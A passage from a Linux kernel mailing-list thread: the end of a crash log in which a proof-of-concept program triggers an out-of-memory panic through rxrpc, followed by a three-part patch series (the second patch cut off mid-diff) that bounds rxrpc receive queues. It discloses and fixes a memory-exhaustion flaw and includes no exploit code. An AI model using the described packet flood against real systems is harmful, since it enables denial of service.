[  275.049516][ T9427] files_cache               26KB         95KB
[  275.049521][ T9427] task_exec_state            4KB         15KB
[  275.049553][ T9427] signal_cache             536KB       1880KB
[  275.049564][ T9427] sighand_cache            679KB       2006KB
[  275.049581][ T9427] task_struct             2444KB       4254KB
[  275.049591][ T9427] cred                     132KB        543KB
[  275.049603][ T9427] anon_vma_chain           316KB        511KB
[  275.049612][ T9427] anon_vma                 294KB        468KB
[  275.049621][ T9427] pid                      134KB        425KB
[  275.049629][ T9427] Acpi-Operand              76KB        154KB
[  275.049636][ T9427] Acpi-ParseExt              0KB         15KB
[  275.049641][ T9427] Acpi-Parse                 0KB         15KB
[  275.049647][ T9427] Acpi-State                 0KB         15KB
[  275.049652][ T9427] Acpi-Namespace            55KB         62KB
[  275.049657][ T9427] numa_policy                0KB          3KB
[  275.049662][ T9427] perf_event                 0KB         31KB
[  275.049667][ T9427] trace_event_file         881KB        883KB
[  275.049673][ T9427] ftrace_event_field       2011KB       2012KB
[  275.049678][ T9427] pool_workqueue           762KB        787KB
[  275.049708][ T9427] maple_node               719KB       2567KB
[  275.049714][ T9427] mm_struct                 78KB        250KB
[  275.136004][ T9427] vmap_area                474KB        873KB
[  275.136025][ T9427] debug_objects_cache       2585KB       2589KB
[  275.136035][ T9427] page->ptl                 56KB        134KB
[  275.136040][ T9427] kmalloc-cg-8k            216KB        288KB
[  275.136048][ T9427] kmalloc-cg-4k           1524KB       1752KB
[  275.136055][ T9427] kmalloc-cg-2k           1440KB       1620KB
[  275.136061][ T9427] kmalloc-cg-1k            210KB        270KB
[  275.136066][ T9427] kmalloc-cg-512           115KB        220KB
[  275.136071][ T9427] kmalloc-cg-256            69KB        110KB
[  275.136078][ T9427] kmalloc-cg-128          1525KB       1559KB
[  275.136093][ T9427] kmalloc-cg-64             98KB        344KB
[  275.136103][ T9427] kmalloc-cg-32           1276KB       1315KB
[  275.136108][ T9427] kmalloc-cg-16              7KB         15KB
[  275.136113][ T9427] kmalloc-cg-8              12KB         23KB
[  275.136119][ T9427] kmalloc-cg-192            22KB         31KB
[  275.136127][ T9427] kmalloc-cg-96            694KB        728KB
[  275.136138][ T9427] kmalloc-8k              2424KB       2544KB
[  275.136171][ T9427] kmalloc-4k              5304KB       8280KB
[  275.136176][ T9427] kmalloc-2k             14070KB      14070KB
[  275.136182][ T9427] kmalloc-1k              4494KB       4620KB
[  275.136190][ T9427] kmalloc-512             6868KB       7339KB
[  275.136198][ T9427] kmalloc-256             4458KB       4567KB
[  275.136216][ T9427] kmalloc-128             1152KB       1464KB
[  275.136245][ T9427] kmalloc-64              6098KB       6352KB
[  275.136285][ T9427] kmalloc-32              1428KB       2354KB
[  275.136294][ T9427] kmalloc-16              2687KB       2714KB
[  275.136303][ T9427] kmalloc-8               1694KB       1744KB
[  275.136314][ T9427] kmalloc-192             1727KB       1787KB
[  275.136335][ T9427] kmalloc-96              2442KB       2608KB
[  275.136340][ T9427] kmem_cache_node          180KB        180KB
[  275.136345][ T9427] kmem_cache               215KB        220KB
[  275.136351][ T9427] Memory cgroup min protection 0kB -- low protection 0kB
[  275.136355][ T9427] Tasks state (memory values in pages):
[  275.136358][ T9427] [  pid  ]   uid  tgid total_vm      rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name
[  275.136521][ T9427] [   4992]     0  4992     8006      224      221        2         1    81920        0          -250 systemd-journal
[  275.136538][ T9427] [   5006]     0  5006     9316     2913     2911        2         0    98304        0         -1000 systemd-udevd
[  275.136572][ T9427] [   8881]     0  8881     1411       71       69        2         0    49152        0             0 cron
[  275.136587][ T9427] [   8934]     0  8934    55235      389      387        2         0    77824        0             0 rsyslogd
[  275.315992][ T9427] [   9211]     0  9211    24973      356      354        2         0    81920        0             0 dhclient
[  275.316018][ T9427] [   9258]     0  9258      720       34       32        2         0    45056        0             0 agetty
[  275.316038][ T9427] [   9259]     0  9259      720       34       32        2         0    49152        0             0 agetty
[  275.316058][ T9427] [   9260]     0  9260      720       34       32        2         0    40960        0             0 agetty
[  275.316077][ T9427] [   9261]     0  9261      720       34       32        2         0    40960        0             0 agetty
[  275.316096][ T9427] [   9262]     0  9262      720       34       32        2         0    45056        0             0 agetty
[  275.316115][ T9427] [   9263]     0  9263      720       34       32        2         0    45056        0             0 agetty
[  275.316140][ T9427] [   9264]     0  9264     1101       36       34        2         0    49152        0             0 agetty
[  275.316159][ T9427] [   9265]     0  9265     3340      244      242        2         0    73728        0         -1000 sshd
[  275.316179][ T9427] [   9267]     0  9267    14097      391      390        1         0    86016        0             0 nginx
[  275.316202][ T9427] [   9268]    33  9268    14191      472      470        2         0    86016        0             0 nginx
[  275.316221][ T9427] [   9269]    33  9269    14191      472      470        2         0    86016        0             0 nginx
[  275.316240][ T9427] [   9405]     0  9405      622       51       21       30         0    40960        0             0 sh
[  275.316259][ T9427] [   9419]     0  9419     2019      125      123        2         0    57344        0             0 runuser
[  275.316278][ T9427] [   9421]  1001  9421   246315       62       61        1         0   102400        0             0 poc_rxrpc_mem
[  275.316304][ T9427] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[  275.370927][ T9427] CPU: 0 UID: 1001 PID: 9427 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc6+ #1 PREEMPT(full) 
[  275.372055][ T9427] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  275.373418][ T9427] Call Trace:
[  275.373804][ T9427]  <TASK>
[  275.374131][ T9427]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[  275.374642][ T9427]  dump_stack (lib/dump_stack.c:129)
[  275.375119][ T9427]  vpanic (kernel/panic.c:651)
[  275.375592][ T9427]  ? __pfx_vpanic (kernel/panic.c:363)
[  275.376192][ T9427]  ? rcu_preempt_deferred_qs_irqrestore (kernel/rcu/tree_plugin.h:573 (discriminator 31))
[  275.377078][ T9427]  panic (kernel/panic.c:788)
[  275.377519][ T9427]  ? __pfx_panic (kernel/panic.c:741)
[  275.378047][ T9427]  ? __rcu_read_unlock (kernel/rcu/tree_plugin.h:798 kernel/rcu/tree_plugin.h:438)
[  275.378713][ T9427]  ? dump_header (mm/oom_kill.c:475)
[  275.379246][ T9427]  out_of_memory (mm/oom_kill.c:1076 (discriminator 4) mm/oom_kill.c:1143)
[  275.379795][ T9427]  ? __pfx_out_of_memory (mm/oom_kill.c:835)
[  275.380579][ T9427]  __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[  275.381284][ T9427]  ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[  275.382093][ T9427]  ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[  275.382694][ T9427]  ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[  275.383409][ T9427]  ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[  275.384085][ T9427]  ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[  275.384950][ T9427]  ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[  275.385645][ T9427]  ? policy_nodemask (mm/mempolicy.c:2304 (discriminator 1))
[  275.386188][ T9427]  alloc_pages_mpol (mm/mempolicy.c:2486)
[  275.386762][ T9427]  ? __pfx_alloc_pages_mpol (mm/mempolicy.c:2275)
[  275.387523][ T9427]  alloc_frozen_pages_noprof (mm/mempolicy.c:2557 (discriminator 1))
[  275.388152][ T9427]  allocate_slab (mm/slub.c:3345 (discriminator 2) mm/slub.c:3470)
[  275.388700][ T9427]  new_slab (mm/slub.c:3513)
[  275.389202][ T9427]  ___slab_alloc (mm/slub.c:4568)
[  275.389734][ T9427]  kmem_cache_alloc_node_noprof (mm/slub.c:4987 mm/slub.c:5068)
[  275.390416][ T9427]  ? __local_bh_enable_ip (kernel/softirq.c:478)
[  275.391002][ T9427]  ? __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[  275.391513][ T9427]  __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[  275.392005][ T9427]  ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[  275.392508][ T9427]  ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[  275.393075][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.393706][ T9427]  ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[  275.394284][ T9427]  alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6803)
[  275.394916][ T9427]  sock_alloc_send_pskb (net/core/sock.c:3022)
[  275.395495][ T9427]  ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[  275.396051][ T9427]  ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2854 (discriminator 2))
[  275.396686][ T9427]  ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[  275.397411][ T9427]  ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[  275.398103][ T9427]  __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[  275.398645][ T9427]  ? find_held_lock (kernel/locking/lockdep.c:5401)
[  275.399147][ T9427]  ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[  275.399809][ T9427]  ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[  275.400424][ T9427]  ? ip6_mtu (net/ipv6/route.c:3296)
[  275.400886][ T9427]  ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[  275.401561][ T9427]  ip6_make_skb (net/ipv6/ip6_output.c:2094)
[  275.402047][ T9427]  ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[  275.402642][ T9427]  ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[  275.403221][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.404006][ T9427]  udpv6_sendmsg (net/ipv6/udp.c:1720)
[  275.404545][ T9427]  ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[  275.405064][ T9427]  ? find_held_lock (kernel/locking/lockdep.c:5401)
[  275.405794][ T9427]  ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[  275.406316][ T9427]  ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[  275.406958][ T9427]  ? __pfx_avc_has_perm (security/selinux/avc.c:1154)
[  275.407483][ T9427]  ? sock_has_perm (security/selinux/hooks.c:5054 (discriminator 1))
[  275.407991][ T9427]  ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[  275.408541][ T9427]  inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[  275.409095][ T9427]  ? inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[  275.409691][ T9427]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 net/socket.c:2281)
[  275.410329][ T9427]  ? __pfx___sys_sendto (net/socket.c:2235)
[  275.410915][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.411551][ T9427]  ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[  275.412148][ T9427]  __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[  275.412704][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.413384][ T9427]  ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[  275.414221][ T9427]  x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[  275.414884][ T9427]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[  275.415461][ T9427]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  275.416325][ T9427] RIP: 0033:0x423104
[  275.416869][ T9427] Code: Unable to access opcode bytes at 0x4230da.

Code starting with the faulting instruction
===========================================
[  275.417602][ T9427] RSP: 002b:00007fd17b1191b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[  275.418680][ T9427] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423104
[  275.419639][ T9427] RDX: 0000000000000024 RSI: 00007fd15c000b70 RDI: 0000000000000008
[  275.420576][ T9427] RBP: 00007fd17b1191f0 R08: 000000001c46aae8 R09: 000000000000001c
[  275.421697][ T9427] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000000087cf
[  275.422817][ T9427] R13: 000000008010f9c6 R14: 000000000043e718 R15: 000000001c46aae8
[  275.423714][ T9427]  </TASK>
[  275.424907][ T9427] Kernel Offset: disabled
[  275.425408][ T9427] Rebooting in 86400 seconds..
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (3):
  rxrpc: account encapsulated packets to UDP socket
  rxrpc: bound connection and OOB receive queues
  rxrpc: bound DATA receive queues

 net/rxrpc/ar-internal.h  |  23 ++++++++
 net/rxrpc/call_event.c   |   1 +
 net/rxrpc/call_object.c  |   4 +-
 net/rxrpc/conn_event.c   |  22 +++++--
 net/rxrpc/conn_object.c  |  19 +++++-
 net/rxrpc/input.c        |  83 ++++++++++++++++++---------
 net/rxrpc/io_thread.c    |  63 +++++++++++++++++++-
 net/rxrpc/local_object.c |  25 +++++++-
 net/rxrpc/oob.c          |   5 +-
 net/rxrpc/recvmsg.c      |   3 +-
 net/rxrpc/skbuff.c       | 121 ++++++++++++++++++++++++++++++++++++++-
 11 files changed, 327 insertions(+), 42 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 6+ messages in thread

* [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket
  2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
@ 2026-10-14 16:58 ` Zihan Xi
  2026-10-14 16:58 ` [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues Zihan Xi
                   ` (2 subsequent siblings)
  3 siblings, 0 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
  To: linux-afs, netdev
  Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
	zihanx

rxrpc_encap_rcv() queues encapsulated UDP packets on the RxRPC local
queue without charging them to the UDP socket. If the I/O thread cannot
keep up, the queue can grow without bound.

Charge each packet against the tunnel socket under
sk_receive_queue.lock. Derive the receive-buffer limit from the
advertised window, retaining headroom for control and error traffic.
Drop packets when the buffer or protocol memory budget is exhausted,
while preserving UDP's empty-queue exception.

Orphan charged skbs when the I/O thread dequeues them. Since
skb_set_owner_r() does not hold a socket reference, clear sk_user_data
under RCU and release the socket only after purging the local queues.

The remaining patches bound RxRPC queues that can retain skbs after the
UDP receive-memory charge is released.

Fixes: 446b3e14525b ("rxrpc: Move packet reception processing into I/O thread")
Cc: stable@vger.kernel.org
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v9:
  - Split the fix into UDP accounting, connection/OOB queue budgeting,
    and DATA receive-queue budgeting patches.
  - Correct the Fixes attribution for the asynchronous receive queues.
  - v8 Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
changes in v8:
  - Rebase onto net/main at 6d25ffca055a and resend after the previous
    posting became stale.
  - v7 Link: https://lore.kernel.org/all/cover.1790427022.git.zihanx@nebusec.ai/
changes in v7:
  - Rebase the fix onto net/main at a7bfaba4823e.
  - v6 Link: https://lore.kernel.org/all/cover.1789608557.git.zihanx@nebusec.ai/
changes in v6:
  - Refresh the tunnel socket receive-buffer cap when rxrpc_rx_window_size
    increases, without shrinking an existing socket.
  - Distinguish socket receive-buffer exhaustion from protocol memory
    accounting failures in the drop reason.
  - Cap the window-derived value at sysctl_rmem_max and only grow an
    existing sk_rcvbuf.
  - v5 Link: https://lore.kernel.org/all/cover.1789273347.git.zihanx@nebusec.ai/
changes in v5:
  - Size the tunnel sk_rcvbuf from one advertised DATA window, with
    additional headroom for ACKs and ICMP, capped by sysctl_rmem_max.
  - Drop the dst instead of skb_dst_force(); keep skb->dev = NULL.
  - Document the runtime receive-window sizing limitation.
  - v4 Link: https://lore.kernel.org/all/cover.1788878590.git.zihanx@nebusec.ai/
changes in v4:
  - Serialize UDP rmem charge and uncharge with sk_receive_queue.lock.
  - Orphan only PACKET skbs charged by encap_rcv(); preserve error skb
    ownership.
  - Clarify the callback-listener setup and distinguish the unprivileged
    flood from extra conditions used for the recorded OOM.
  - v3 Link: https://lore.kernel.org/all/cover.1788539302.git.zihanx@nebusec.ai/
changes in v3:
  - Orphan skbs when the I/O thread dequeues them so UDP rmem ownership
    does not follow packets onto call or connection queues.
  - Clarify the affected source files and the recorded OOM context.
  - v2 Link: https://lore.kernel.org/all/cover.1785339953.git.zihanx@nebusec.ai/
changes in v2:
  - Use sk_drops_inc(), correct the Fixes attribution, and refresh the
    baseline reproducer and decoded crash log.
  - Explain why packetdrill does not express the sustained unique-call
    flood used by this reproducer.
  - v1 Link: https://lore.kernel.org/all/cover.1784742007.git.zihanx@nebusec.ai/
---
 net/rxrpc/ar-internal.h  |  1 +
 net/rxrpc/io_thread.c    | 61 ++++++++++++++++++++++++++++++++++++++--
 net/rxrpc/local_object.c | 24 ++++++++++++++--
 3 files changed, 82 insertions(+), 4 deletions(-)

diff --git a/net/rxrpc/ar-internal.h b/net/rxrpc/ar-internal.h
index 865f05fe37ab9..b079ec98aaa74 100644
--- a/net/rxrpc/ar-internal.h
+++ b/net/rxrpc/ar-internal.h
@@ -1323,6 +1323,7 @@ void rxrpc_send_version_request(struct rxrpc_local *local,
  * local_object.c
  */
 void rxrpc_local_dont_fragment(const struct rxrpc_local *local, bool set);
+void rxrpc_adjust_rcvbuf(struct sock *sk);
 struct rxrpc_local *rxrpc_lookup_local(struct net *, const struct sockaddr_rxrpc *);
 struct rxrpc_local *rxrpc_get_local(struct rxrpc_local *, enum rxrpc_local_trace);
 struct rxrpc_local *rxrpc_get_local_maybe(struct rxrpc_local *, enum rxrpc_local_trace);
diff --git a/net/rxrpc/io_thread.c b/net/rxrpc/io_thread.c
index dc5184a2fa9d1..634a6e1cab87a 100644
--- a/net/rxrpc/io_thread.c
+++ b/net/rxrpc/io_thread.c
@@ -7,12 +7,37 @@
 
 #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
 
+#include <net/udp.h>
+
 #include "ar-internal.h"
 
 static int rxrpc_input_packet_on_conn(struct rxrpc_connection *conn,
 				      struct sockaddr_rxrpc *peer_srx,
 				      struct sk_buff *skb);
 
+/*
+ * Drop UDP rmem ownership for packets charged in encap_rcv().
+ * sk_forward_alloc is serialised by sk_receive_queue.lock.
+ */
+static void rxrpc_skb_orphan_udp(struct sk_buff *skb)
+{
+	struct sock *sk = skb->sk;
+
+	if (!sk)
+		return;
+
+	spin_lock_bh(&sk->sk_receive_queue.lock);
+	skb_orphan(skb);
+	spin_unlock_bh(&sk->sk_receive_queue.lock);
+}
+
+static void rxrpc_encap_rcv_drop(struct sock *udp_sk, struct sk_buff *skb,
+				 enum skb_drop_reason reason)
+{
+	sk_drops_inc(udp_sk);
+	sk_skb_reason_drop(udp_sk, skb, reason);
+}
+
 /*
  * handle data received on the local endpoint
  * - may be called in interrupt context
@@ -28,6 +53,10 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
 	struct sk_buff_head *rx_queue;
 	struct rxrpc_local *local = rcu_dereference_sk_user_data(udp_sk);
 	struct task_struct *io_thread;
+	enum skb_drop_reason reason;
+	unsigned int headroom;
+	unsigned int rcvbuf;
+	unsigned int rmem;
 
 	if (unlikely(!local)) {
 		kfree_skb(skb);
@@ -41,8 +70,6 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
 	if (skb->tstamp == 0)
 		skb->tstamp = ktime_get_real();
 
-	skb->mark = RXRPC_SKB_MARK_PACKET;
-	rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
 	rx_queue = &local->rx_queue;
 #ifdef CONFIG_AF_RXRPC_INJECT_RX_DELAY
 	if (rxrpc_inject_rx_delay ||
@@ -52,9 +79,36 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
 	}
 #endif
 
+	headroom = SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2;
+	spin_lock(&udp_sk->sk_receive_queue.lock);
+	rxrpc_adjust_rcvbuf(udp_sk);
+	rcvbuf = READ_ONCE(udp_sk->sk_rcvbuf);
+	rmem = atomic_read(&udp_sk->sk_rmem_alloc);
+	/* Permit one skb when there is no receive memory charged, as UDP does. */
+	if (rmem && rmem + skb->truesize + headroom >= rcvbuf) {
+		reason = SKB_DROP_REASON_SOCKET_RCVBUFF;
+		goto drop;
+	}
+	if (!sk_rmem_schedule(udp_sk, skb, skb->truesize)) {
+		reason = SKB_DROP_REASON_PROTO_MEM;
+		goto drop;
+	}
+
+	skb->dev = NULL;
+	skb_set_owner_r(skb, udp_sk);
+	spin_unlock(&udp_sk->sk_receive_queue.lock);
+	skb_dst_drop(skb);
+
+	skb->mark = RXRPC_SKB_MARK_PACKET;
+	rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
 	skb_queue_tail(rx_queue, skb);
 	wake_up_process(io_thread);
 	return 0;
+
+drop:
+	spin_unlock(&udp_sk->sk_receive_queue.lock);
+	rxrpc_encap_rcv_drop(udp_sk, skb, reason);
+	return 0;
 }
 
 /*
@@ -471,6 +525,9 @@ int rxrpc_io_thread(void *data)
 		/* Distribute packets and errors. */
 		while ((skb = __skb_dequeue(&rx_queue))) {
 			struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+
+			if (skb->mark == RXRPC_SKB_MARK_PACKET)
+				rxrpc_skb_orphan_udp(skb);
 			switch (skb->mark) {
 			case RXRPC_SKB_MARK_PACKET:
 				skb->priority = 0;
diff --git a/net/rxrpc/local_object.c b/net/rxrpc/local_object.c
index 169f9dfdaa77f..f519a93059244 100644
--- a/net/rxrpc/local_object.c
+++ b/net/rxrpc/local_object.c
@@ -22,6 +22,19 @@
 
 static void rxrpc_local_rcu(struct rcu_head *);
 
+void rxrpc_adjust_rcvbuf(struct sock *sk)
+{
+	u32 rcvbuf, old_rcvbuf;
+
+	rcvbuf = READ_ONCE(rxrpc_rx_window_size) *
+		SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2;
+	rcvbuf += rcvbuf / 4;
+	rcvbuf = min_t(u32, rcvbuf, READ_ONCE(sysctl_rmem_max));
+	old_rcvbuf = READ_ONCE(sk->sk_rcvbuf);
+	if (rcvbuf > old_rcvbuf)
+		WRITE_ONCE(sk->sk_rcvbuf, rcvbuf);
+}
+
 /*
  * Handle an ICMP/ICMP6 error turning up at the tunnel.  Push it through the
  * usual mechanism so that it gets parsed and presented through the UDP
@@ -198,6 +211,9 @@ static int rxrpc_open_socket(struct rxrpc_local *local, struct net *net)
 
 	/* set the socket up */
 	usk = local->socket->sk;
+	spin_lock_bh(&usk->sk_receive_queue.lock);
+	rxrpc_adjust_rcvbuf(usk);
+	spin_unlock_bh(&usk->sk_receive_queue.lock);
 	usk->sk_error_report = rxrpc_error_report;
 
 	switch (srx->transport.family) {
@@ -437,8 +453,8 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
 	if (socket) {
 		local->socket = NULL;
 		kernel_sock_shutdown(socket, SHUT_RDWR);
-		socket->sk->sk_user_data = NULL;
-		sock_release(socket);
+		rcu_assign_sk_user_data(socket->sk, NULL);
+		synchronize_rcu();
 	}
 
 	/* At this point, there should be no more packets coming in to the
@@ -448,6 +464,10 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
 	rxrpc_purge_queue(&local->rx_delay_queue);
 #endif
 	rxrpc_purge_queue(&local->rx_queue);
+
+	if (socket)
+		sock_release(socket);
+
 	rxrpc_purge_client_connections(local);
 	page_frag_cache_drain(&local->tx_alloc);
 }
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 6+ messages in thread

* [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues
  2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
  2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
@ 2026-10-14 16:58 ` Zihan Xi
  2026-10-14 16:58 ` [PATCH net v9 3/3] rxrpc: bound DATA " Zihan Xi
  2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
  3 siblings, 0 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
  To: linux-afs, netdev
  Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
	zihanx

After rxrpc_io_thread() dequeues a packet, the UDP receive-memory charge
is released. Connection-level packets can remain queued on conn->rx_queue,
while managed RXGK challenges can remain on the socket's OOB queue and
pending-response set.

Account both paths against a per-local receive budget. Release the charge
when a packet is processed, answered, freed or purged, and retain it when a
secured service packet is returned to the local I/O queue.

Fixes: 17926a79320a ("[AF_RXRPC]: Provide secure RxRPC sockets for use by userspace and kernel both")
Fixes: 5800b1cf3fd8 ("rxrpc: Allow CHALLENGEs to the passed to the app for a RESPONSE")
Cc: stable@vger.kernel.org
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v9:
  - Split connection/OOB queue budgeting from DATA receive-queue
    budgeting.
  - Add the Fixes attribution for the RXGK challenge OOB path.
  - Order receive-budget helper declarations per netdev reverse-xmas style.
  - v8 Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
---
 net/rxrpc/ar-internal.h  |  3 +++
 net/rxrpc/conn_event.c   | 22 ++++++++++++++++----
 net/rxrpc/conn_object.c  | 19 +++++++++++++++---
 net/rxrpc/io_thread.c    |  2 ++
 net/rxrpc/local_object.c |  1 +
 net/rxrpc/oob.c          |  5 ++++-
 net/rxrpc/skbuff.c       | 43 +++++++++++++++++++++++++++++++++++++++-
 7 files changed, 86 insertions(+), 9 deletions(-)

diff --git a/net/rxrpc/ar-internal.h b/net/rxrpc/ar-internal.h
index b079ec98aaa74..36fc4609181e1 100644
--- a/net/rxrpc/ar-internal.h
+++ b/net/rxrpc/ar-internal.h
@@ -360,6 +360,7 @@ struct rxrpc_local {
 	struct sk_buff_head	rx_delay_queue;	/* Delay injection queue */
 #endif
 	struct sk_buff_head	rx_queue;	/* Received packets */
+	atomic_long_t		rx_async_queue_bytes;	/* Outstanding async Rx bytes */
 	struct list_head	conn_attend_q;	/* Conns requiring immediate attention */
 	struct list_head	call_attend_q;	/* Calls requiring immediate attention */
 
@@ -1516,6 +1517,8 @@ void rxrpc_new_skb(struct sk_buff *, enum rxrpc_skb_trace);
 void rxrpc_see_skb(struct sk_buff *, enum rxrpc_skb_trace);
 void rxrpc_get_skb(struct sk_buff *, enum rxrpc_skb_trace);
 void rxrpc_free_skb(struct sk_buff *, enum rxrpc_skb_trace);
+bool rxrpc_charge_async_queue(struct rxrpc_local *, struct sk_buff *);
+void rxrpc_uncharge_async_queue(struct rxrpc_local *, struct sk_buff *);
 void rxrpc_purge_queue(struct sk_buff_head *);
 
 /*
diff --git a/net/rxrpc/conn_event.c b/net/rxrpc/conn_event.c
index 611c790bc6d0c..4baddd178cfa5 100644
--- a/net/rxrpc/conn_event.c
+++ b/net/rxrpc/conn_event.c
@@ -393,6 +393,8 @@ static void rxrpc_do_process_connection(struct rxrpc_connection *conn)
 	while ((skb = skb_dequeue(&conn->rx_queue))) {
 		rxrpc_see_skb(skb, rxrpc_skb_see_conn_work);
 		rxrpc_process_event(conn, skb);
+		if (skb->mark != RXRPC_SKB_MARK_SERVICE_CONN_SECURED)
+			rxrpc_uncharge_async_queue(conn->local, skb);
 		rxrpc_free_skb(skb, rxrpc_skb_put_conn_work);
 	}
 }
@@ -414,15 +416,22 @@ void rxrpc_process_connection(struct work_struct *work)
  * post connection-level events to the connection
  * - this includes challenges, responses, some aborts and call terminal packet
  *   retransmission.
+ * - bound the queued memory independently of the UDP rmem charge.
  */
-static void rxrpc_post_packet_to_conn(struct rxrpc_connection *conn,
+static bool rxrpc_post_packet_to_conn(struct rxrpc_connection *conn,
 				      struct sk_buff *skb)
 {
+	struct rxrpc_local *local = conn->local;
+
+	if (!rxrpc_charge_async_queue(local, skb))
+		return false;
+
 	_enter("%p,%p", conn, skb);
 
 	rxrpc_get_skb(skb, rxrpc_skb_get_conn_work);
 	skb_queue_tail(&conn->rx_queue, skb);
 	rxrpc_queue_conn(conn, rxrpc_conn_queue_rx_work);
+	return true;
 }
 
 /*
@@ -442,7 +451,10 @@ static bool rxrpc_post_challenge(struct rxrpc_connection *conn,
 		rxrpc_get_connection(conn, rxrpc_conn_get_challenge_input);
 
 	if (!conn->security->challenge_to_recvmsg) {
-		rxrpc_post_packet_to_conn(conn, skb);
+		if (!rxrpc_post_packet_to_conn(conn, skb)) {
+			rxrpc_put_connection(conn, rxrpc_conn_put_challenge_input);
+			sp->chall.conn = NULL;
+		}
 		return true;
 	}
 
